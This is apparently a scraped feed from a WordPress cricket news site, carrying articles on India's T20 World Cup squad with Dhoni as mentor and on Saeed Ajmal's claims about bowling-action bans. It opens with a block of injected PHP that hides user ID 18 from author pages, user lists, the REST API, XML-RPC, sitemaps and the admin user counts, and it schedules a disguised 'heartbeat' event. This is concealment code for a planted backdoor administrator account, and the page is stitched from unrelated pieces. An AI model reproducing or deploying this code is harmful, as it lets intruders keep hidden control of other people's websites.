add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Ashwin in the squad, MS Dhoni to be the mentor appeared first on The Edge Media.
]]>Pacer Mohammed Shami too has been included in the squad while Ishan Kishan has been included as the second wicketkeeper in the squad.
In addition, Shreyas Iyer, Shardul Thakur and Deepak Chahar have been named as standby players.
Speaking in the press conference to announce the squad, BCCI secretary Jay Shah said Dhoni’s role as a mentor will be limited to the T20 World Cup.
“(I) spoke to him in Dubai. He agreed to be mentor for WT20 only and I discussed with my colleagues and all are on same page. I spoke to captain (Virat Kohli) and vice captain (Rohit Shamra) and everyone agreed,” he was quoted as saying by news agency PTI.
India have been placed in Group 2 of the Super 12 phase for the World Cup. Eight teams have already qualified to this phase, where they will be joined by four teams from the first round.
Here is the full India squad: Virat Kohli (captain), Rohit Sharma (vice-captain), KL Rahul, Suryakumar Yadav, Rishabh Pant (wicketkeeper), Ishan Kishan (wicketkeeper), Hardik Pandya, Ravindra Jadeja, Rahul Chahar, Ravichandran Ashwin, Axar Patel, Varun Chakravarthy, Jasprit Bumrah, Bhuvneshwar Kumar, Mohd Shami.
The post Ashwin in the squad, MS Dhoni to be the mentor appeared first on The Edge Media.
]]>The post Saeed Ajmal speaks his heart out regarding “getting banned” appeared first on The Edge Media.
]]>Former Pakistan spinner Saeed Ajmal has claimed that Indian off-spinner Ravichandran Ashwin was away from international cricket for six months so that he doesn’t get banned by the International Cricket Council (ICC) for his bowling action.
Ajmal, who was banned on multiple occasions by the ICC for his bowling action, made serious allegations, stating that the rules of spin-bowling were altered without ‘asking anyone’. While speaking with Cricwick in a YouTube chat session, the former cricketer also alleged that the governing bodies don’t care if any bowler from Pakistan ‘gets banned’.
“You changed all these rules and regulations without asking anyone. I was playing cricket for the last eight years. All those rules were for me. That’s it. During that period, Ashwin was out from cricket for six months. Why is that? So, you can work on him and your bowler doesn’t get banned. They don’t care if a Pakistan bowler gets banned. They only care about money,” Ajmal told as quoted by Cricwick.
Ajmal also recalled an incident from the 2011 World Cup semi-final in which India had played Pakistan in Mohali. He spoke about the dismissal of former Indian batting great Sachin Tendulkar and said even though the latter was out LBW, the DRS saved him.
The umpire who gave Tendulkar out, he would be ready to give the statement that he got it right. And the meaning is pretty clear. The DRS can be checked manually. You can alter it at any stage. I don’t know about that but even if I see it now and any umpire sees that he will think that this will go on to hit the stumps. But that missed the stumps. Thousands of people have questioned me this, and I don’t know the answer,” Ajmal said.
The post Saeed Ajmal speaks his heart out regarding “getting banned” appeared first on The Edge Media.
]]>